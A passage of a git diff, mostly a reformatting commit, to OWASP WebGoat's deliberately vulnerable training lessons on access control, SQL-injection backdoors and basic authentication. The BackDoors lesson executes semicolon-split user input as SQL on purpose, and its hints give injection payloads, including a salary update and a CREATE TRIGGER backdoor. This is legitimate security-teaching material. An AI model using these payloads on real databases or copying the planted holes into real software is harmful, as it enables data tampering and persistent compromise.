- form.addElement(createContent(s));
-
- setContent(form);
- }
-
-
- public String getFormAction()
- {
- return getLink();
- }
-
-
- /**
- * Description of the Method
- *
- * @param s
- * Description of the Parameter
- * @return Description of the Return Value
- */
-
- public String toString()
- {
- return getTitle();
- }
-
-
- public String getLessonPlanFileName()
- {
- return lessonPlanFileName;
- }
-
-
- public void setLessonPlanFileName(String lessonPlanFileName)
- {
- this.lessonPlanFileName = lessonPlanFileName;
- }
-
- public String getLessonSolutionFileName()
- {
- return lessonSolutionFileName;
- }
-
-
- public void setLessonSolutionFileName(String lessonSolutionFileName)
- {
- this.lessonSolutionFileName = lessonSolutionFileName;
- }
-
- public String getSourceFileName()
- {
- return sourceFileName;
- }
-
-
- public void setSourceFileName(String sourceFileName)
- {
- // System.out.println("Setting source file of lesson " + this + " to: "
- // + sourceFileName);
- this.sourceFileName = sourceFileName;
- }
-
-
- public WebgoatContext getWebgoatContext() {
+ public WebgoatContext getWebgoatContext()
+ {
return webgoatContext;
}
-
- public void setWebgoatContext(WebgoatContext webgoatContext) {
+ public void setWebgoatContext(WebgoatContext webgoatContext)
+ {
this.webgoatContext = webgoatContext;
}
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java b/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java
index c13cbcc4a..7d38496a7 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -13,272 +13,264 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Jeff Williams Aspect Security
- * @created October 28, 2003
+ *
+ * @author Jeff Williams Aspect Security
+ * @created October 28, 2003
*/
public class AccessControlMatrix extends LessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
- private final static String RESOURCE = "Resource";
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- private final static String USER = "User";
+ private final static String RESOURCE = "Resource";
- private final static String[] resources = { "Public Share",
- "Time Card Entry", "Performance Review", "Time Card Approval",
- "Site Manager", "Account Manager" };
+ private final static String USER = "User";
- private final static String[] roles = { "Public", "User", "Manager",
- "Admin" };
+ private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review",
+ "Time Card Approval", "Site Manager", "Account Manager" };
- private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
+ private final static String[] roles = { "Public", "User", "Manager", "Admin" };
+ private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
-
+
try
{
- String user = s.getParser().getRawParameter(USER, users[0]);
- String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
- String credentials = getRoles(user).toString();
-
- Table t = new Table().setCellSpacing(0).setCellPadding(2)
- .setBorder(0).setWidth("90%").setAlign("center");
+ String user = s.getParser().getRawParameter(USER, users[0]);
+ String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
+ String credentials = getRoles(user).toString();
- if (s.isColor())
- {
- t.setBorder(1);
- }
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
- TR tr = new TR();
- tr.addElement(new TD().addElement("Change user:"));
- tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1)));
- t.addElement(tr);
-
- // These two lines would allow the user to select the resource from a list
- // Didn't seem right to me so I made them type it in.
- // ec.addElement( new P().addElement( "Choose a resource:" ) );
- // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) );
- tr = new TR();
- tr.addElement(new TD().addElement("Select resource: "));
- tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1)));
- t.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD(" ").setColSpan(2).setAlign("center"));
- t.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center"));
- t.addElement(tr);
- ec.addElement(t);
-
- if (isAllowed(user, resource))
- {
- if (!getRoles(user).contains("Admin")
- && resource.equals("Account Manager"))
+ if (s.isColor())
{
- makeSuccess(s);
+ t.setBorder(1);
}
- s.setMessage("User " + user + " " + credentials
- + " was allowed to access resource " + resource);
- }
- else
- {
- s.setMessage("User " + user + " " + credentials
- + " did not have privilege to access resource "
- + resource);
- }
- }
- catch (Exception e)
+
+ TR tr = new TR();
+ tr.addElement(new TD().addElement("Change user:"));
+ tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1)));
+ t.addElement(tr);
+
+ // These two lines would allow the user to select the resource from a list
+ // Didn't seem right to me so I made them type it in.
+ // ec.addElement( new P().addElement( "Choose a resource:" ) );
+ // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) );
+ tr = new TR();
+ tr.addElement(new TD().addElement("Select resource: "));
+ tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1)));
+ t.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD(" ").setColSpan(2).setAlign("center"));
+ t.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center"));
+ t.addElement(tr);
+ ec.addElement(t);
+
+ if (isAllowed(user, resource))
+ {
+ if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
+ {
+ makeSuccess(s);
+ }
+ s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
+ }
+ else
+ {
+ s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource "
+ + resource);
+ }
+ } catch (Exception e)
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
}
-
+
return (ec);
- }
+ }
+ /**
+ * Gets the category attribute of the RoleBasedAccessControl object
+ *
+ * @return The category value
+ */
- /**
- * Gets the category attribute of the RoleBasedAccessControl object
- *
- * @return The category value
- */
+ protected Category getDefaultCategory()
+ {
+ return Category.ACCESS_CONTROL;
+ }
- protected Category getDefaultCategory()
- {
- return Category.ACCESS_CONTROL;
- }
-
-
- /**
- * Gets the hints attribute of the RoleBasedAccessControl object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
+ /**
+ * Gets the hints attribute of the RoleBasedAccessControl object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
List hints = new ArrayList();
hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources.");
return hints;
- }
+ }
- private final static Integer DEFAULT_RANKING = new Integer(10);
+ private final static Integer DEFAULT_RANKING = new Integer(10);
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the resources attribute of the RoleBasedAccessControl object
- *
- * @param rl Description of the Parameter
- * @return The resources value
- */
- private List getResources(List rl)
- {
+ /**
+ * Gets the resources attribute of the RoleBasedAccessControl object
+ *
+ * @param rl
+ * Description of the Parameter
+ * @return The resources value
+ */
+ private List getResources(List rl)
+ {
// return the resources allowed for these roles
ArrayList list = new ArrayList();
-
+
if (rl.contains(roles[0]))
{
- list.add(resources[0]);
+ list.add(resources[0]);
}
-
+
if (rl.contains(roles[1]))
{
- list.add(resources[1]);
- list.add(resources[5]);
+ list.add(resources[1]);
+ list.add(resources[5]);
}
-
+
if (rl.contains(roles[2]))
{
- list.add(resources[2]);
- list.add(resources[3]);
+ list.add(resources[2]);
+ list.add(resources[3]);
}
-
+
if (rl.contains(roles[3]))
{
- list.add(resources[4]);
- list.add(resources[5]);
+ list.add(resources[4]);
+ list.add(resources[5]);
}
-
+
return list;
- }
+ }
+ /**
+ * Gets the role attribute of the RoleBasedAccessControl object
+ *
+ * @param user
+ * Description of the Parameter
+ * @return The role value
+ */
- /**
- * Gets the role attribute of the RoleBasedAccessControl object
- *
- * @param user Description of the Parameter
- * @return The role value
- */
-
- private List getRoles(String user)
- {
+ private List getRoles(String user)
+ {
ArrayList list = new ArrayList();
-
+
if (user.equals(users[0]))
{
- list.add(roles[0]);
+ list.add(roles[0]);
}
else if (user.equals(users[1]))
{
- list.add(roles[1]);
- list.add(roles[2]);
+ list.add(roles[1]);
+ list.add(roles[2]);
}
else if (user.equals(users[2]))
{
- list.add(roles[0]);
- list.add(roles[2]);
+ list.add(roles[0]);
+ list.add(roles[2]);
}
else if (user.equals(users[3]))
{
- list.add(roles[3]);
+ list.add(roles[3]);
}
-
+
return list;
- }
+ }
+ /**
+ * Gets the title attribute of the AccessControlScreen object
+ *
+ * @return The title value
+ */
- /**
- * Gets the title attribute of the AccessControlScreen object
- *
- * @return The title value
- */
-
- public String getTitle()
- {
+ public String getTitle()
+ {
return ("Using an Access Control Matrix");
- }
+ }
+ // private final static ArrayList userList = new ArrayList(Arrays.asList(users));
+ // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
+ // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
- // private final static ArrayList userList = new ArrayList(Arrays.asList(users));
- // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
- // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
+ /**
+ * Please do not ever implement an access control scheme this way! But it's not the worst I've
+ * seen.
+ *
+ * @param user
+ * Description of the Parameter
+ * @param resource
+ * Description of the Parameter
+ * @return The allowed value
+ */
- /**
- * Please do not ever implement an access control scheme this way! But it's not the worst I've
- * seen.
- *
- * @param user Description of the Parameter
- * @param resource Description of the Parameter
- * @return The allowed value
- */
-
- private boolean isAllowed(String user, String resource)
- {
+ private boolean isAllowed(String user, String resource)
+ {
List roles = getRoles(user);
List resources = getResources(roles);
return (resources.contains(resource));
- }
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ }
+
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java
index 120dc556e..54a4be525 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -22,37 +22,35 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian
- * Technologies.
+ * @author Sherif Koussa Macadamian Technologies.
*/
public class BackDoors extends SequentialLessonAdapter
{
@@ -63,8 +61,8 @@ public class BackDoors extends SequentialLessonAdapter
private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid=";
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
- "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
@@ -96,13 +94,14 @@ public class BackDoors extends SequentialLessonAdapter
String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
+ ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2)
{
statement.executeUpdate(arrSQL[1]);
getLessonTracker(s).setStage(2);
- s.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
+ s
+ .setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
}
ResultSet rs = statement.executeQuery(arrSQL[0]);
@@ -129,8 +128,7 @@ public class BackDoors extends SequentialLessonAdapter
ec.addElement(t);
}
}
- }
- catch (Exception ex)
+ } catch (Exception ex)
{
ec.addElement(new PRE(ex.getMessage()));
}
@@ -176,12 +174,10 @@ public class BackDoors extends SequentialLessonAdapter
+ " statements. The first is the system's while the second is totally yours.";
instructions = instructions
+ " Your account ID is 101. This page allows you to see your password, ssn and salary.";
- instructions = instructions
- + " Try to inject another update to update salary to something higher";
+ instructions = instructions + " Try to inject another update to update salary to something higher";
break;
case 2:
- instructions = "Stage " + getStage(s)
- + ": Use String SQL Injection to inject a backdoor. ";
+ instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. ";
instructions = instructions
+ " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor.";
instructions = instructions
@@ -248,8 +244,8 @@ public class BackDoors extends SequentialLessonAdapter
hints.add("Your user id is 101. Use it to see your information");
hints.add("A semi-colon usually ends a SQL statement and starts a new one.");
hints.add("Try this 101 or 1=1; update employee set salary=100000");
- hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " +
- "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
+ hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON "
+ + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
return hints;
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java
index a7c17a555..f7ba35023 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -14,318 +14,281 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Bruce Mayhew WebGoat
- * @created October 28, 2003
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
*/
public class BasicAuthentication extends SequentialLessonAdapter
{
- private static final String EMPTY_STRING = "";
+ private static final String EMPTY_STRING = "";
- private static final String WEBGOAT_BASIC = "webgoat_basic";
+ private static final String WEBGOAT_BASIC = "webgoat_basic";
- private static final String AUTHORIZATION = "Authorization";
+ private static final String AUTHORIZATION = "Authorization";
- private static final String ORIGINAL_AUTH = "Original_Auth";
+ private static final String ORIGINAL_AUTH = "Original_Auth";
- private static final String ORIGINAL_USER = "Original.user";
+ private static final String ORIGINAL_USER = "Original.user";
- private static final String BASIC = "basic";
+ private static final String BASIC = "basic";
- private static final String JSESSIONID = "JSESSIONID";
+ private static final String JSESSIONID = "JSESSIONID";
- private final static String HEADER_NAME = "header";
+ private final static String HEADER_NAME = "header";
- private final static String HEADER_VALUE = "value";
+ private final static String HEADER_VALUE = "value";
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- return super.createStagedContent(s);
- }
-
-
- protected Element doStage1(WebSession s) throws Exception
- {
- ElementContainer ec = new ElementContainer();
-
- String headerName = null;
- String headerValue = null;
- try
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
{
- headerName = new String(s.getParser().getStringParameter(
- HEADER_NAME, EMPTY_STRING));
- headerValue = new String(s.getParser().getStringParameter(
- HEADER_VALUE, EMPTY_STRING));
-
- //
- // FIXME: This won;t work for CBT, we need to use the UserTracker
- //Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
- if (headerName.equalsIgnoreCase(AUTHORIZATION)
- && (headerValue.equals("guest:guest") || headerValue
- .equals("webgoat:webgoat")))
- {
- getLessonTracker(s).setStage(2);
- return doStage2(s);
- }
- else
- {
- if (headerName.length() > 0
- && !headerName.equalsIgnoreCase(AUTHORIZATION))
- {
- s
- .setMessage("Basic Authentication header name is incorrect.");
- }
- if (headerValue.length() > 0
- && !(headerValue.equals("guest:guest") || headerValue
- .equals("webgoat:webgoat")))
- {
- s
- .setMessage("Basic Authentication header value is incorrect.");
-
- }
- }
- //
-
- Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
- .setBorder(0);
- if (s.isColor())
- {
- t.setBorder(1);
- }
-
- TR row1 = new TR();
- TR row2 = new TR();
- row1.addElement(new TD(new StringElement(
- "What is the name of the authentication header: ")));
- row2
- .addElement(new TD(
- new StringElement(
- "What is the decoded value of the authentication header: ")));
-
- row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME,
- headerName.toString())));
- row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE,
- headerValue.toString())));
-
- t.addElement(row1);
- t.addElement(row2);
-
- ec.addElement(t);
- ec.addElement(new P());
-
- Element b = ECSFactory.makeButton("Submit");
- ec.addElement(b);
-
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ return super.createStagedContent(s);
}
- return (ec);
- }
-
-
- protected Element doStage2(WebSession s) throws Exception
- {
- ElementContainer ec = new ElementContainer();
-
- try
+ protected Element doStage1(WebSession s) throws Exception
{
- if (s.getRequest().isUserInRole(WEBGOAT_BASIC))
- {
- String originalUser = getLessonTracker(s).getLessonProperties()
- .getProperty(ORIGINAL_USER, EMPTY_STRING);
- getLessonTracker(s, originalUser).setCompleted(true);
- getLessonTracker(s, originalUser).setStage(1);
- getLessonTracker(s, originalUser).store(s, this);
- makeSuccess(s);
- s.setMessage("Close your browser and login as " + originalUser
- + " to get your green stars back.");
- return ec;
- }
- else
- {
- // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been manipulated
- String originalAuth = getLessonTracker(s).getLessonProperties()
- .getProperty(ORIGINAL_AUTH, EMPTY_STRING);
- String originalSessionId = getLessonTracker(s)
- .getLessonProperties().getProperty(JSESSIONID,
- s.getCookie(JSESSIONID));
+ ElementContainer ec = new ElementContainer();
- // store the original user info in the BASIC properties files
- if (originalSessionId.equals(s.getCookie(JSESSIONID)))
+ String headerName = null;
+ String headerValue = null;
+ try
{
- // Store the original user name in the "basic" user properties file. We need to use
- // the original user to access the correct properties file to update status.
- // store the initial auth header
- getLessonTracker(s).getLessonProperties().setProperty(
- JSESSIONID, originalSessionId);
- getLessonTracker(s).getLessonProperties().setProperty(
- ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
- getLessonTracker(s, BASIC).getLessonProperties()
- .setProperty(ORIGINAL_USER, s.getUserName());
- getLessonTracker(s, BASIC).setStage(2);
- getLessonTracker(s, BASIC).store(s, this, BASIC);
+ headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING));
+ headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING));
+
+ //
+ // FIXME: This won;t work for CBT, we need to use the UserTracker
+ // Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+ if (headerName.equalsIgnoreCase(AUTHORIZATION)
+ && (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
+ {
+ getLessonTracker(s).setStage(2);
+ return doStage2(s);
+ }
+ else
+ {
+ if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION))
+ {
+ s.setMessage("Basic Authentication header name is incorrect.");
+ }
+ if (headerValue.length() > 0
+ && !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
+ {
+ s.setMessage("Basic Authentication header value is incorrect.");
+
+ }
+ }
+ //
+
+ Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
+ if (s.isColor())
+ {
+ t.setBorder(1);
+ }
+
+ TR row1 = new TR();
+ TR row2 = new TR();
+ row1.addElement(new TD(new StringElement("What is the name of the authentication header: ")));
+ row2.addElement(new TD(new StringElement("What is the decoded value of the authentication header: ")));
+
+ row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString())));
+ row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString())));
+
+ t.addElement(row1);
+ t.addElement(row2);
+
+ ec.addElement(t);
+ ec.addElement(new P());
+
+ Element b = ECSFactory.makeButton("Submit");
+ ec.addElement(b);
+
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
}
- s.setMessage("Congratulations, you have figured out the mechanics of basic authentication.");
- s.setMessage(" - Now you must try to make WebGoat reauthenticate you as: ");
- s.setMessage(" - username: basic");
- s.setMessage(" - password: basic");
- s.setMessage("Use the Basic Authentication Menu to start at login page.");
-
- // If the auth header is different but still the original user - tell the user
- // that the original cookie was posted bak and basic auth uses the cookie before the
- // authorization token
- if (!originalAuth.equals("")
- && !originalAuth.equals(s.getHeader(AUTHORIZATION)))
- {
- ec
- .addElement("You're almost there! You've modified the "
- + AUTHORIZATION
- + " header but you are "
- + "still logged in as "
- + s.getUserName()
- + ". Look at the request after you typed in the 'basic' "
- + "user credentials and submitted the request. Remember the order of events that occur during Basic Authentication.");
- }
- else if (!originalSessionId.equals(s.getCookie(JSESSIONID)))
- {
- ec
- .addElement("You're really close! Changing the session cookie caused the server to create a new session for you. This did not cause the server to reauthenticate you. "
- + "When you figure out how to force the server to perform an authentication request, you have to authenticate as:
"
- + " user name: basic "
- + " password: basic ");
- }
- else
- {
- ec.addElement("Use the hints! One at a time...");
- }
-
- }
-
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ return (ec);
}
- return (ec);
- }
+ protected Element doStage2(WebSession s) throws Exception
+ {
+ ElementContainer ec = new ElementContainer();
+ try
+ {
+ if (s.getRequest().isUserInRole(WEBGOAT_BASIC))
+ {
+ String originalUser = getLessonTracker(s).getLessonProperties()
+ .getProperty(ORIGINAL_USER, EMPTY_STRING);
+ getLessonTracker(s, originalUser).setCompleted(true);
+ getLessonTracker(s, originalUser).setStage(1);
+ getLessonTracker(s, originalUser).store(s, this);
+ makeSuccess(s);
+ s.setMessage("Close your browser and login as " + originalUser + " to get your green stars back.");
+ return ec;
+ }
+ else
+ {
+ // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been
+ // manipulated
+ String originalAuth = getLessonTracker(s).getLessonProperties()
+ .getProperty(ORIGINAL_AUTH, EMPTY_STRING);
+ String originalSessionId = getLessonTracker(s).getLessonProperties()
+ .getProperty(JSESSIONID, s.getCookie(JSESSIONID));
- /**
- * Gets the category attribute of the ForgotPassword object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
+ // store the original user info in the BASIC properties files
+ if (originalSessionId.equals(s.getCookie(JSESSIONID)))
+ {
+ // Store the original user name in the "basic" user properties file. We need to
+ // use
+ // the original user to access the correct properties file to update status.
+ // store the initial auth header
+ getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId);
+ getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
+ getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName());
+ getLessonTracker(s, BASIC).setStage(2);
+ getLessonTracker(s, BASIC).store(s, this, BASIC);
+ }
- return Category.AUTHENTICATION;
- }
+ s.setMessage("Congratulations, you have figured out the mechanics of basic authentication.");
+ s.setMessage(" - Now you must try to make WebGoat reauthenticate you as: ");
+ s.setMessage(" - username: basic");
+ s.setMessage(" - password: basic");
+ s.setMessage("Use the Basic Authentication Menu to start at login page.");
+ // If the auth header is different but still the original user - tell the user
+ // that the original cookie was posted bak and basic auth uses the cookie before the
+ // authorization token
+ if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION)))
+ {
+ ec
+ .addElement("You're almost there! You've modified the "
+ + AUTHORIZATION
+ + " header but you are "
